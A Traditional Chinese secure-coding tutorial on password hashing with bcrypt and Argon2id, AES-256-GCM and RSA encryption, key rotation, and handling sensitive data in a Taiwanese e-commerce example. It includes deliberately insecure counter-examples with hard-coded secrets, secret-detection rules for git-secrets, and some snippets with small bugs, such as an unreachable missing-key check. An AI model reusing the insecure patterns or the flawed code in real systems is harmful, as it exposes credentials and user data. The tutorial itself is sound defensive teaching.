[安全程式設計] 003 密碼雜湊與機敏資料處理實戰指南:bcrypt vs Argon2、AES-256 加密與金鑰管理

「密碼存明碼,就像把金庫密碼寫在便利貼上貼在螢幕旁邊——
你不是沒鎖門,你是把鑰匙插在門上。」
— SSDLC by 飛飛


一、加密與雜湊是什麼?為什麼搞混了會出大事?

在 SSDLC 的「蓋房子」旅程中,我們已經走過了安全需求定義(確認房子要防什麼)、安全設計(畫好建築藍圖)、安全編碼基礎(學會用防火建材和安全電線)、OWASP Top 10 防禦(認識十大常見工安事故)。

現在,我們要處理蓋房子時最珍貴的東西——保險箱裡的財物

在軟體系統中,「保險箱裡的財物」就是密碼、信用卡號、個人身分證字號、API 金鑰這些機敏資料(Sensitive Data)。這些資料如果被偷走或外洩,後果不堪設想:使用者帳號被盜、信用卡被盜刷、公司面臨個資法罰款(最高 NT$1,500 萬)。

而保護這些財物的兩個核心工具,就是加密(Encryption)雜湊(Hashing)

很多開發者會搞混這兩個概念,甚至互相混用——這就像把保險箱當碎紙機用,或拿碎紙機當保險箱。先用一個生活比喻釐清:

概念 英文 生活比喻 核心特性 適用場景
加密 Encryption 把信件放進上鎖的保險箱,有鑰匙的人可以打開 可逆——加密後可以解密還原 傳輸中的資料、儲存需要讀取的機敏資料
雜湊 Hashing 把文件丟進碎紙機,變成固定大小的碎片 不可逆——無法從碎片還原文件 密碼儲存、資料完整性驗證

一句話記住:需要還原的用加密,不需要還原的用雜湊。

密碼為什麼要用雜湊而不是加密?因為你永遠不需要知道使用者的原始密碼。登入時,你只需要把使用者輸入的密碼做雜湊,跟資料庫裡存的雜湊值比對就好。如果你用加密存密碼,代表你的系統「有能力解密看到所有人的密碼」——萬一這把鑰匙被偷了,全部密碼一次外洩。

飛飛觀點:
我見過太多台灣新創把密碼用 AES 加密存在資料庫裡,覺得「有加密就安全了」。問題是:加密的金鑰放哪裡?如果金鑰跟密碼存在同一台伺服器上,那攻擊者只要入侵一次就全拿走了。密碼用雜湊,就是讓攻擊者就算拿到資料庫,也拿不到原始密碼。


二、密碼雜湊:bcrypt vs Argon2——別再用 MD5 了

2.1 為什麼 MD5 和 SHA-256 不能用來雜湊密碼?

很多教科書的範例還在用 <code>md5(password)</code> 或 <code>sha256(password)</code>,但這些通用雜湊函數根本不是設計來保護密碼的。原因有三:

問題 說明 後果
太快了 MD5 每秒可以計算數十億次,SHA-256 也差不多 攻擊者用 GPU 暴力破解,8 碼密碼幾小時就破完
沒有鹽(Salt) 同樣的密碼永遠產生同樣的雜湊 攻擊者用彩虹表(Rainbow Table)秒查
不能調整難度 運算量固定,無法隨硬體進步而增加 十年前安全的設定,現在可能已經不夠

什麼是彩虹表?簡單說,就是有人事先把常見密碼(如 <code>123456</code>、<code>password</code>、<code>qwerty123</code>)的 MD5/SHA-256 雜湊值全部算好,建成一個超大的對照表。攻擊者拿到你資料庫裡的雜湊值,直接查表就知道原始密碼。中國甚至有商業網站(如 CMD5)專門提供這種反查服務。

密碼專用雜湊函數(如 bcrypt、Argon2)專門解決這三個問題:加鹽、故意設計得很慢、可以調整難度。

2.2 bcrypt:老牌可靠的密碼守衛

bcrypt 誕生於 1999 年,是目前使用最廣泛的密碼雜湊演算法。它有三個關鍵特性:

  • 自動加鹽:每次雜湊都會產生隨機鹽值,同樣的密碼會得到不同的雜湊值
  • 可調整工作因子(Cost Factor):數字每加 1,計算時間翻倍
  • 經過 25 年以上的實戰考驗
// Node.js — 使用 bcrypt 雜湊密碼
const bcrypt = require('bcrypt');

// ✅ 註冊時:雜湊密碼
async function hashPassword(plainPassword) {
  const saltRounds = 12; // 工作因子:2^12 = 4096 次迭代
  // saltRounds 每加 1,計算時間約翻倍
  // 10 ≈ 100ms, 12 ≈ 300ms, 14 ≈ 1s(在現代硬體上)
  return await bcrypt.hash(plainPassword, saltRounds);
}

// ✅ 登入時:驗證密碼
async function verifyPassword(plainPassword, hashedPassword) {
  // bcrypt.compare 會自動從雜湊值中提取鹽值來比對
  return await bcrypt.compare(plainPassword, hashedPassword);
}

// 使用範例
const hashed = await hashPassword('MyP@ssw0rd!2024');
// 結果類似:$2b$12$LJ3m5x2Y8v4Z... (每次都不同,因為鹽值不同)

const isValid = await verifyPassword('MyP@ssw0rd!2024', hashed);
// true

2.3 Argon2:新一代密碼雜湊冠軍

Argon2 是 2015 年密碼雜湊競賽(Password Hashing Competition, PHC)的冠軍,被認為是目前最安全的密碼雜湊演算法。它比 bcrypt 多了一個超能力:抵抗 GPU 暴力破解

bcrypt 主要消耗 CPU 運算時間,但現代 GPU(如 NVIDIA RTX 4090)有數千個核心可以平行計算,能大幅加速暴力破解。Argon2 不只消耗 CPU,還會消耗大量記憶體,而 GPU 的記憶體相對有限且昂貴,這讓 GPU 暴力破解變得極不划算。

Argon2 有三種變體:

變體 特性 建議場景
Argon2d 抗 GPU 攻擊,但可能受 side-channel 攻擊影響 加密貨幣挖礦
Argon2i 抗 side-channel 攻擊 密碼雜湊(較保守)
Argon2id 結合 d 和 i 的優點 密碼雜湊的首選(OWASP 推薦)
// Node.js — 使用 Argon2id 雜湊密碼(推薦)
const argon2 = require('argon2');

// ✅ 註冊時:雜湊密碼
async function hashPassword(plainPassword) {
  return await argon2.hash(plainPassword, {
    type: argon2.argon2id,  // 使用 Argon2id 變體
    memoryCost: 65536,      // 64 MB 記憶體(讓 GPU 暴力破解變得昂貴)
    timeCost: 3,            // 迭代次數
    parallelism: 4          // 平行度(使用 4 個執行緒)
  });
}

// ✅ 登入時:驗證密碼
async function verifyPassword(plainPassword, hashedPassword) {
  return await argon2.verify(hashedPassword, plainPassword);
}

// ✅ 進階:根據伺服器效能動態調整參數
async function hashPasswordWithTuning(plainPassword) {
  const startTime = Date.now();
  const hashed = await argon2.hash(plainPassword, {
    type: argon2.argon2id,
    memoryCost: 65536,
    timeCost: 3,
    parallelism: 4
  });
  const elapsed = Date.now() - startTime;

  // 目標:雜湊一次花費 200ms ~ 500ms
  // 太快 = 攻擊者也能快速暴力破解
  // 太慢 = 使用者登入體驗差
  console.log(<code>雜湊耗時:${elapsed}ms</code>);

  return hashed;
}

2.4 bcrypt vs Argon2:到底該選哪個?

比較項目 bcrypt Argon2id
問世年份 1999 年 2015 年
抗 GPU 攻擊 中等(主要消耗 CPU) (消耗 CPU + 大量記憶體)
成熟度 25 年以上實戰,非常成熟 較新,但已獲廣泛認可
OWASP 推薦 ✅ 推薦(備選) 首選推薦
生態系支援 幾乎所有語言都有穩定套件 主流語言都有,但部分套件需要原生編譯
密碼長度限制 最多 72 bytes(超過會被截斷) 無實質限制
參數調整彈性 只能調工作因子 可調記憶體、時間、平行度
建議使用場景 既有系統、部署環境受限 新專案首選

飛飛觀點:
如果你在做新專案,選 Argon2id。如果你的系統已經在用 bcrypt 而且 cost factor 夠高(至少 12),不用急著遷移——bcrypt 依然是安全的。最重要的是:不管你選哪個,都比 MD5、SHA-256、甚至 SHA-512 好一萬倍。

2.5 密碼雜湊的 OWASP 建議參數

// OWASP 2024 推薦的最低參數設定

// Argon2id(首選)
const argon2Config = {
  type: argon2.argon2id,
  memoryCost: 19456,    // OWASP 最低建議:19 MB
  timeCost: 2,          // OWASP 最低建議:2 次迭代
  parallelism: 1        // OWASP 最低建議:1 執行緒
};
// 如果伺服器資源允許,建議提高到:memoryCost: 65536, timeCost: 3, parallelism: 4

// bcrypt(備選)
const bcryptConfig = {
  saltRounds: 12        // OWASP 最低建議:10,建議用 12 以上
};

三、對稱加密 vs 非對稱加密:什麼時候該用哪一把鎖?

密碼用雜湊解決了,但有些資料你需要加密後還能解密還原——比如使用者的信用卡號、身分證字號、醫療記錄。這時候就要用「加密」了。

加密分成兩大類:對稱加密非對稱加密。用一個生活比喻來區分:

3.1 對稱加密:同一把鑰匙開同一把鎖

比喻:你跟室友共用一把門鑰匙。你鎖門,他也能開門,因為你們用的是同一把鑰匙。

對稱加密的「加密」和「解密」用的是同一把金鑰。速度快、效率高,適合加密大量資料。

演算法 安全等級 金鑰長度 狀態
DES ❌ 已不安全 56 bit 已淘汰,別用
3DES ⚠️ 逐步淘汰 168 bit NIST 2023 年後禁用
AES-128 ✅ 安全 128 bit 目前標準
AES-256 ✅ 非常安全 256 bit 推薦使用
// Node.js — 使用 AES-256-GCM 加密(推薦)
const crypto = require('crypto');

// ✅ 加密函數
function encrypt(plainText, secretKey) {
  // GCM 模式提供加密 + 完整性驗證(比 CBC 更安全)
  const iv = crypto.randomBytes(12);  // GCM 建議 12 bytes IV
  const cipher = crypto.createCipheriv('aes-256-gcm', secretKey, iv);

  let encrypted = cipher.update(plainText, 'utf8', 'hex');
  encrypted += cipher.final('hex');

  const authTag = cipher.getAuthTag(); // 認證標籤,防止密文被竄改

  // 將 IV + 認證標籤 + 密文一起存儲
  return {
    iv: iv.toString('hex'),
    authTag: authTag.toString('hex'),
    encryptedData: encrypted
  };
}

// ✅ 解密函數
function decrypt(encryptedObj, secretKey) {
  const decipher = crypto.createDecipheriv(
    'aes-256-gcm',
    secretKey,
    Buffer.from(encryptedObj.iv, 'hex')
  );

  decipher.setAuthTag(Buffer.from(encryptedObj.authTag, 'hex'));

  let decrypted = decipher.update(encryptedObj.encryptedData, 'hex', 'utf8');
  decrypted += decipher.final('utf8');

  return decrypted;
}

// 使用範例
const key = crypto.randomBytes(32); // 256 bit 金鑰
const encrypted = encrypt('4311-9522-0000-1234', key);
const decrypted = decrypt(encrypted, key);
// decrypted === '4311-9522-0000-1234'

為什麼用 GCM 而不是 CBC?

模式 加密 完整性驗證 說明
AES-CBC 只加密,不驗證。攻擊者可以偷偷修改密文(Padding Oracle Attack)
AES-GCM 加密 + 驗證。密文被竄改會直接解密失敗

3.2 非對稱加密:一把鑰匙鎖門,另一把鑰匙開門

比喻:你家門口有一個投信口(公鑰),任何人都可以把信塞進去。但只有你拿著門鑰匙(私鑰)才能打開信箱拿信。

非對稱加密使用一對金鑰:公鑰(Public Key)和私鑰(Private Key)。公鑰加密的東西只有私鑰能解密,反之亦然。

演算法 金鑰長度 速度 適用場景
RSA 2048+ bit 較慢 數位簽章、金鑰交換(傳統方案)
ECDSA 256 bit 數位簽章(現代首選)
ECDH 256 bit 金鑰交換
Ed25519 256 bit 很快 數位簽章(最新推薦)
// Node.js — 使用 RSA 非對稱加密
const crypto = require('crypto');

// ✅ Step 1:產生金鑰對
const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
  modulusLength: 2048,
  publicKeyEncoding: { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
});

// ✅ Step 2:用公鑰加密(任何人都可以加密)
function encryptWithPublicKey(plainText, pubKey) {
  const encrypted = crypto.publicEncrypt(
    {
      key: pubKey,
      padding: crypto.constants.RSA_OAEP_PADDING,
      oaepHash: 'sha256'
    },
    Buffer.from(plainText)
  );
  return encrypted.toString('base64');
}

// ✅ Step 3:用私鑰解密(只有持有私鑰的人能解密)
function decryptWithPrivateKey(encryptedBase64, privKey) {
  const decrypted = crypto.privateDecrypt(
    {
      key: privKey,
      padding: crypto.constants.RSA_OAEP_PADDING,
      oaepHash: 'sha256'
    },
    Buffer.from(encryptedBase64, 'base64')
  );
  return decrypted.toString('utf8');
}

3.3 什麼時候用對稱、什麼時候用非對稱?

場景 用什麼 原因
加密資料庫中的信用卡號 對稱加密(AES-256-GCM) 加解密都在自己的伺服器,速度快
加密 API 傳輸中的資料 非對稱 + 對稱(HTTPS/TLS) 先用非對稱交換對稱金鑰,再用對稱加密資料
JWT Token 簽章 非對稱(RS256 / ES256) 多個服務需要驗證 Token,但只有一個服務能簽發
加密設定檔中的密碼 對稱加密(AES-256) 單機使用,速度快
驗證軟體更新的真實性 非對稱(數位簽章) 發布者用私鑰簽章,使用者用公鑰驗證

飛飛觀點:
在實務上,很少「只用對稱」或「只用非對稱」。HTTPS(TLS)就是一個完美的混合案例:先用非對稱加密安全地交換一組「對話金鑰」(Session Key),之後的通訊就用這把對稱金鑰來加密。這叫做混合加密(Hybrid Encryption)——用非對稱解決「怎麼安全傳遞金鑰」的問題,用對稱解決「怎麼高效加密大量資料」的問題。


四、金鑰管理:最容易被忽略的致命問題

你可以用最強的 AES-256 加密、最安全的 Argon2id 雜湊,但如果金鑰管理沒做好,一切都是白搭。

這就像你買了一把世界上最堅固的鎖,但把鑰匙藏在門口的花盆底下——小偷第一個就翻那裡。

4.1 金鑰管理最常犯的五大錯誤

錯誤 有多常見 後果
金鑰硬寫在程式碼裡 非常常見 推上 GitHub = 全世界都看得到
金鑰跟資料存在同一台伺服器 常見 伺服器被入侵 = 金鑰 + 資料一起外洩
所有環境用同一組金鑰 常見 開發環境洩漏 = 正式環境也完蛋
金鑰永遠不換(No Rotation) 非常常見 金鑰洩漏卻不知道,損害持續擴大
沒有金鑰備份與恢復計畫 常見 金鑰遺失 = 資料永遠無法解密
// ❌ 最常見的致命錯誤:金鑰硬寫在程式碼裡
const SECRET_KEY = 'my-super-secret-key-12345';  // 推上 GitHub 就完蛋
const DB_PASSWORD = 'admin123';                    // 更不用說這種
const API_KEY = 'sk-abc123def456';                 // 第三方 API 金鑰也是

// ❌ 稍微好一點但還是不夠:寫在設定檔裡
// config.json(也被推上了 GitHub)
// { "secretKey": "my-super-secret-key" }

// ✅ 正確做法:從環境變數讀取
const SECRET_KEY = process.env.JWT_SECRET;
const DB_PASSWORD = process.env.DB_PASSWORD;
const API_KEY = process.env.STRIPE_API_KEY;

// ✅ 加上驗證:確保金鑰存在且符合最低要求
function validateEnvSecrets() {
  const required = ['JWT_SECRET', 'DB_PASSWORD', 'ENCRYPTION_KEY'];

  for (const key of required) {
    if (!process.env[key]) {
      throw new Error(<code>環境變數 ${key} 未設定,拒絕啟動</code>);
    }
    if (process.env[key].length < 32) {
      throw new Error(<code>環境變數 ${key} 長度不足 32 字元</code>);
    }
  }
}

// 在應用程式啟動時立即檢查
validateEnvSecrets();

4.2 金鑰管理的四個層級

從「堪用」到「企業級」,金鑰管理可以分成四個層級。你可以根據專案的規模和敏感程度,選擇適合的層級:

層級 做法 適合場景 安全程度
Level 1 環境變數 + <code>.env</code> 檔(不進版控) Side project、個人專案 ⭐⭐
Level 2 CI/CD 的 Secrets 管理(GitHub Secrets、GitLab CI Variables) 小型團隊、新創 ⭐⭐⭐
Level 3 專用的 Secrets Manager(AWS Secrets Manager、HashiCorp Vault) 中型以上企業 ⭐⭐⭐⭐
Level 4 HSM 硬體安全模組(Hardware Security Module) 金融業、政府機關、醫療體系 ⭐⭐⭐⭐⭐

Level 1:環境變數(最低要求)

# .env 檔案(加入 .gitignore,絕對不能進版控)
JWT_SECRET=a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
ENCRYPTION_KEY=q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2
DB_PASSWORD=your-strong-database-password-here
# .gitignore — 這幾行是必須的
.env
.env.local
.env.production
*.key
*.pem

Level 3:AWS Secrets Manager 範例

// Node.js — 使用 AWS Secrets Manager
const { SecretsManagerClient, GetSecretValueCommand } = require('@aws-sdk/client-secrets-manager');

const client = new SecretsManagerClient({ region: 'ap-northeast-1' }); // 東京區域

async function getSecret(secretName) {
  const command = new GetSecretValueCommand({ SecretId: secretName });
  const response = await client.send(command);
  return JSON.parse(response.SecretString);
}

// 應用程式啟動時載入所有 Secrets
async function loadSecrets() {
  const secrets = await getSecret('my-app/production');
  // secrets = { JWT_SECRET: '...', DB_PASSWORD: '...', ENCRYPTION_KEY: '...' }
  return secrets;
}

4.3 金鑰輪換(Key Rotation):定期換鎖

金鑰跟密碼一樣,不是設了就永遠不動。定期更換金鑰(Key Rotation)是金鑰管理的核心實踐。

為什麼要輪換?因為你不一定知道金鑰什麼時候已經洩漏了。定期更換,可以限制洩漏的影響範圍。

// Node.js — 金鑰輪換策略:同時支援新舊金鑰
const ENCRYPTION_KEYS = {
  // 金鑰版本管理:新資料用最新版加密,解密時根據版本號選擇對應金鑰
  'v3': process.env.ENCRYPTION_KEY_V3,  // 目前使用(加密用)
  'v2': process.env.ENCRYPTION_KEY_V2,  // 前一版(解密用,過渡期保留)
  // 'v1' 已廢棄,不再保留
};

const CURRENT_KEY_VERSION = 'v3';

// ✅ 加密時:永遠使用最新版金鑰,並記錄版本號
function encryptWithVersion(plainText) {
  const key = Buffer.from(ENCRYPTION_KEYS[CURRENT_KEY_VERSION], 'hex');
  const iv = crypto.randomBytes(12);
  const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

  let encrypted = cipher.update(plainText, 'utf8', 'hex');
  encrypted += cipher.final('hex');

  return {
    version: CURRENT_KEY_VERSION,  // 記錄用了哪個版本的金鑰
    iv: iv.toString('hex'),
    authTag: cipher.getAuthTag().toString('hex'),
    data: encrypted
  };
}

// ✅ 解密時:根據版本號找到對應的金鑰
function decryptWithVersion(encryptedObj) {
  const key = Buffer.from(ENCRYPTION_KEYS[encryptedObj.version], 'hex');
  if (!key) {
    throw new Error(<code>金鑰版本 ${encryptedObj.version} 已廢棄,無法解密</code>);
  }

  const decipher = crypto.createDecipheriv(
    'aes-256-gcm', key, Buffer.from(encryptedObj.iv, 'hex')
  );
  decipher.setAuthTag(Buffer.from(encryptedObj.authTag, 'hex'));

  let decrypted = decipher.update(encryptedObj.data, 'hex', 'utf8');
  decrypted += decipher.final('utf8');
  return decrypted;
}

// ✅ 背景任務:逐步將舊版金鑰加密的資料重新加密
async function reEncryptOldRecords() {
  const oldRecords = await db.query(
    "SELECT id, encrypted_data FROM sensitive_data WHERE encrypted_data->>'version' != $1",
    [CURRENT_KEY_VERSION]
  );

  for (const record of oldRecords.rows) {
    const decrypted = decryptWithVersion(record.encrypted_data);
    const reEncrypted = encryptWithVersion(decrypted);
    await db.query(
      'UPDATE sensitive_data SET encrypted_data = $1 WHERE id = $2',
      [JSON.stringify(reEncrypted), record.id]
    );
  }
}

飛飛觀點:
金鑰輪換最怕的就是「換了新鑰匙,舊鎖打不開了」。所以一定要做版本管理——加密時記錄用了哪個版本的金鑰,解密時根據版本號去找對應的金鑰。過渡期內新舊金鑰並存,等所有舊資料都重新加密完了,再廢棄舊金鑰。


五、實戰案例:台灣電商會員系統的機敏資料處理

讓我們用一個完整的案例,走過從頭到尾的機敏資料處理流程。

場景描述

你的團隊要為一間台灣電商平台處理以下機敏資料:

資料類型 範例 處理方式 原因
密碼 <code>MyP@ss123</code> Argon2id 雜湊 不需要還原,只要比對
信用卡號 <code>4311-9522-0000-1234</code> AES-256-GCM 加密 需要解密用於扣款
身分證字號 <code>A123456789</code> AES-256-GCM 加密 法規要求可查詢
Email <code>user@example.com</code> 明碼存儲 + 存取控制 需要經常讀取,用權限控制保護
手機號碼 <code>0912-345-678</code> AES-256-GCM 加密 或遮蔽 依業務需求決定
JWT Secret <code>a1b2c3…</code> 環境變數 / Secrets Manager 金鑰,不進資料庫

完整程式碼範例

// /src/services/crypto.service.js
// 台灣電商平台:機敏資料處理服務

const argon2 = require('argon2');
const crypto = require('crypto');

class CryptoService {
  constructor() {
    // 從環境變數載入金鑰(啟動時驗證)
    this.encryptionKey = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');
    if (this.encryptionKey.length !== 32) {
      throw new Error('ENCRYPTION_KEY 必須是 64 個 hex 字元(32 bytes)');
    }
  }

  // ===== 密碼處理(雜湊,不可逆)=====

  async hashPassword(plainPassword) {
    return await argon2.hash(plainPassword, {
      type: argon2.argon2id,
      memoryCost: 65536,
      timeCost: 3,
      parallelism: 4
    });
  }

  async verifyPassword(plainPassword, hashedPassword) {
    try {
      return await argon2.verify(hashedPassword, plainPassword);
    } catch {
      return false; // 格式錯誤也回傳 false,不洩漏錯誤資訊
    }
  }

  // ===== 機敏資料加密(可逆)=====

  encrypt(plainText) {
    const iv = crypto.randomBytes(12);
    const cipher = crypto.createCipheriv('aes-256-gcm', this.encryptionKey, iv);

    let encrypted = cipher.update(plainText, 'utf8', 'hex');
    encrypted += cipher.final('hex');

    // 將 IV + AuthTag + 密文合併為一個字串,方便存儲
    return [
      iv.toString('hex'),
      cipher.getAuthTag().toString('hex'),
      encrypted
    ].join(':');
  }

  decrypt(encryptedString) {
    const [ivHex, authTagHex, encryptedData] = encryptedString.split(':');

    const decipher = crypto.createDecipheriv(
      'aes-256-gcm',
      this.encryptionKey,
      Buffer.from(ivHex, 'hex')
    );
    decipher.setAuthTag(Buffer.from(authTagHex, 'hex'));

    let decrypted = decipher.update(encryptedData, 'hex', 'utf8');
    decrypted += decipher.final('utf8');
    return decrypted;
  }

  // ===== 資料遮蔽(顯示用)=====

  maskCreditCard(cardNumber) {
    // 4311-9522-0000-1234 → **** **** **** 1234
    const clean = cardNumber.replace(/[-\s]/g, '');
    return <code class="kb-btn">**** **** **** ${clean.slice(-4)}</code>;
  }

  maskPhone(phone) {
    // 0912-345-678 → 09XX-XXX-678
    return phone.replace(/(\d{2})\d{2}-\d{3}-(\d{3})/, '$1XX-XXX-$2');
  }

  maskIdNumber(idNumber) {
    // A123456789 → A12*****89
    return idNumber.slice(0, 3) + '*****' + idNumber.slice(-2);
  }
}

module.exports = new CryptoService();
// /src/routes/user.routes.js
// 註冊與登入流程

const cryptoService = require('../services/crypto.service');

// ✅ 註冊:密碼雜湊 + 機敏資料加密
app.post('/api/register', async (req, res) => {
  const { email, password, phone, idNumber } = req.body;

  // 密碼 → Argon2id 雜湊(不可逆)
  const passwordHash = await cryptoService.hashPassword(password);

  // 手機 → AES-256-GCM 加密(可逆,需要發簡訊驗證)
  const encryptedPhone = cryptoService.encrypt(phone);

  // 身分證 → AES-256-GCM 加密(可逆,法規要求可查詢)
  const encryptedId = cryptoService.encrypt(idNumber);

  await db.query(
    `INSERT INTO users (email, password_hash, phone_encrypted, id_number_encrypted) 
     VALUES ($1, $2, $3, $4)`,
    [email, passwordHash, encryptedPhone, encryptedId]
  );

  res.status(201).json({ message: '註冊成功' });
});

// ✅ 登入:密碼驗證 + 防止 Timing Attack
app.post('/api/login', async (req, res) => {
  const { email, password } = req.body;

  const user = await db.query(
    'SELECT id, password_hash, login_attempts, locked_until FROM users WHERE email = $1',
    [email]
  );

  // 不管帳號存不存在,都花相同時間做雜湊比對(防 Timing Attack)
  if (!user.rows[0]) {
    await cryptoService.hashPassword('dummy-password');
    return res.status(401).json({ error: '帳號或密碼錯誤' });
  }

  const userData = user.rows[0];

  // 檢查是否被鎖定
  if (userData.locked_until && new Date(userData.locked_until) > new Date()) {
    return res.status(423).json({ error: '帳號暫時鎖定,請稍後再試' });
  }

  const isValid = await cryptoService.verifyPassword(password, userData.password_hash);

  if (!isValid) {
    // 登入失敗:增加嘗試次數
    const newAttempts = (userData.login_attempts || 0) + 1;
    const lockUntil = newAttempts >= 5 
      ? new Date(Date.now() + 15 * 60 * 1000)  // 5 次失敗鎖 15 分鐘
      : null;

    await db.query(
      'UPDATE users SET login_attempts = $1, locked_until = $2 WHERE id = $3',
      [newAttempts, lockUntil, userData.id]
    );

    return res.status(401).json({ error: '帳號或密碼錯誤' });
  }

  // 登入成功:重設嘗試次數
  await db.query(
    'UPDATE users SET login_attempts = 0, locked_until = NULL WHERE id = $1',
    [userData.id]
  );

  // ... 簽發 JWT Token
});

// ✅ 查看個人資料:解密 + 遮蔽
app.get('/api/profile', authenticate, async (req, res) => {
  const user = await db.query(
    'SELECT email, phone_encrypted, id_number_encrypted FROM users WHERE id = $1',
    [req.user.id]
  );

  const userData = user.rows[0];

  // 解密後遮蔽顯示(前端只看到遮蔽版本)
  const phone = cryptoService.decrypt(userData.phone_encrypted);
  const idNumber = cryptoService.decrypt(userData.id_number_encrypted);

  res.json({
    email: userData.email,
    phone: cryptoService.maskPhone(phone),         // 09XX-XXX-678
    idNumber: cryptoService.maskIdNumber(idNumber)  // A12*****89
  });
});

六、密碼與機敏資料處理 Checklist

以下是一份可以直接用於專案的檢核清單:

## 密碼安全
- [ ] 密碼使用 Argon2id(首選)或 bcrypt(備選)雜湊
- [ ] 絕對沒有使用 MD5、SHA-1、SHA-256 雜湊密碼
- [ ] bcrypt 的 cost factor ≥ 12
- [ ] Argon2id 的 memoryCost ≥ 19456(OWASP 最低要求)
- [ ] 雜湊一次的耗時在 200ms ~ 500ms 之間
- [ ] 登入錯誤訊息統一為「帳號或密碼錯誤」
- [ ] 有防止 Timing Attack 的措施
- [ ] 登入失敗 5 次鎖定帳號 15 分鐘

## 加密機制
- [ ] 對稱加密使用 AES-256-GCM(不是 CBC)
- [ ] 每次加密使用隨機的 IV(不可重複使用)
- [ ] 加密演算法沒有使用 DES、3DES、RC4
- [ ] 傳輸中的資料全程使用 TLS 1.2 以上
- [ ] 信用卡號、身分證等機敏資料已加密存儲

## 金鑰管理
- [ ] 金鑰沒有硬寫在程式碼裡
- [ ] 金鑰沒有存在版本控制(Git)中
- [ ] .env 檔案已加入 .gitignore
- [ ] 開發 / 測試 / 正式環境使用不同的金鑰
- [ ] 有金鑰輪換計畫(至少每年更換一次)
- [ ] 金鑰輪換時有版本管理(新舊金鑰並存)
- [ ] 有金鑰備份與恢復計畫

## 資料遮蔽
- [ ] 信用卡號顯示為 **** **** **** 末四碼
- [ ] 手機號碼部分遮蔽
- [ ] 身分證字號部分遮蔽
- [ ] 日誌中不記錄任何機敏資料的明碼
- [ ] API Response 中不回傳不必要的機敏欄位

七、團隊落地建議:讓加密不再是一個人的事

建議一:建立團隊的機敏資料分類表

在專案一開始,就列出所有會經手的機敏資料,並決定每種資料的處理方式。這份表格應該放在專案文件中,所有開發者都能看到。

| 資料類型 | 分類等級 | 存儲方式 | 傳輸方式 | 顯示方式 | 負責人 |
|---------|---------|---------|---------|---------|-------|
| 密碼 | 極高 | Argon2id 雜湊 | TLS | 不顯示 | 後端 |
| 信用卡號 | 極高 | AES-256 加密 | TLS | 遮蔽末四碼 | 後端 |
| 身分證 | 高 | AES-256 加密 | TLS | 部分遮蔽 | 後端 |
| 手機號碼 | 中 | AES-256 加密 | TLS | 部分遮蔽 | 後端 |
| Email | 中 | 明碼 + 存取控制 | TLS | 完整顯示 | 後端 |
| 姓名 | 低 | 明碼 + 存取控制 | TLS | 完整顯示 | 前端 |

建議二:封裝共用的加密服務

不要讓每個開發者自己寫加密邏輯。把加密、解密、雜湊都封裝成共用的服務(就像本文的 <code>CryptoService</code>),確保全團隊用同一套標準。

建議三:在 Code Review 加入加密檢查

在 Code Review 時,加入以下安全問題:

  • 這段程式碼有處理機敏資料嗎?用了什麼加密方式?
  • 金鑰從哪裡來?有沒有硬寫在程式碼裡?
  • 日誌中有沒有不小心記錄了機敏資料?
  • API Response 有沒有回傳不必要的機敏欄位?

建議四:用 Git Hook 防止金鑰外洩

# 安裝 git-secrets(由 AWS 開發的工具)
# brew install git-secrets  (macOS)
# 或手動安裝:https://github.com/awslabs/git-secrets

# 初始化
git secrets --install
git secrets --register-aws  # 偵測 AWS 金鑰

# 自訂規則:偵測常見的金鑰格式
git secrets --add 'password\s*=\s*.+'
git secrets --add 'secret\s*=\s*.+'
git secrets --add 'PRIVATE.KEY'

# 之後每次 git commit 都會自動檢查,發現金鑰就阻止提交

八、常見問題 FAQ

Q1:我的專案很小,真的需要這麼複雜的加密機制嗎?

規模小不代表可以偷懶。 只要你的系統有處理密碼和個人資料,就需要做好基本的保護。好消息是,基礎的保護並不複雜:密碼用 bcrypt/Argon2 雜湊(一個函式呼叫的事)、金鑰不要硬寫在程式碼裡(用 <code>.env</code> 就好)、傳輸用 HTTPS。這三件事花不了你一天的時間,但能幫你省下未來幾個月的災難處理。

Q2:我的系統已經用 MD5 雜湊密碼了,怎麼遷移到 Argon2?

這是很多既有系統會遇到的問題。你不需要強制所有使用者重設密碼。一個常見的漸進式遷移策略:在使用者下次登入成功時(表示他輸入了正確的密碼),趁這個機會用 Argon2 重新雜湊並更新資料庫。同時在資料庫加一個欄位記錄雜湊演算法版本,登入驗證時根據版本選擇不同的比對方式。

// 漸進式遷移範例
async function loginWithMigration(email, password) {
  const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);

  if (user.hash_version === 'md5') {
    // 舊格式:用 MD5 驗證
    const md5Hash = crypto.createHash('md5').update(password).digest('hex');
    if (md5Hash !== user.password_hash) return false;

    // 驗證成功!趁機升級到 Argon2
    const newHash = await argon2.hash(password, { type: argon2.argon2id });
    await db.query(
      'UPDATE users SET password_hash = $1, hash_version = $2 WHERE id = $3',
      [newHash, 'argon2id', user.id]
    );
  } else {
    // 新格式:用 Argon2 驗證
    return await argon2.verify(user.password_hash, password);
  }
  return true;
}

Q3:AES 加密的金鑰應該是多少 bytes?怎麼產生?

AES-256 需要 32 bytes(256 bits)的金鑰。用密碼學安全的隨機數產生器來產生,絕對不要自己亂打一串字。

// ✅ 正確:用 crypto 產生隨機金鑰
const key = crypto.randomBytes(32).toString('hex');
console.log(key); // 64 個 hex 字元,例如:a1b2c3d4...

// ❌ 錯誤:用自己想的字串
const key = 'my-secret-key';  // 太短、可預測、不夠隨機

Q4:JWT Token 裡可以放密碼或信用卡號嗎?

絕對不行。 JWT 預設只做簽章(signature),不做加密。也就是說,任何人拿到你的 JWT,都可以用 Base64 解碼看到裡面的內容。JWT 裡應該只放使用者 ID 和角色等「就算被看到也不會造成直接危害」的資訊。密碼、信用卡號、身分證等機敏資料,永遠不應該出現在 JWT 裡。


九、結語:加密是手藝,不是魔法

回到蓋房子的比喻。

保險箱再堅固,鑰匙管理不好也白搭。加密演算法再強大,金鑰硬寫在程式碼裡也沒用。密碼雜湊再安全,不加鹽就形同虛設。

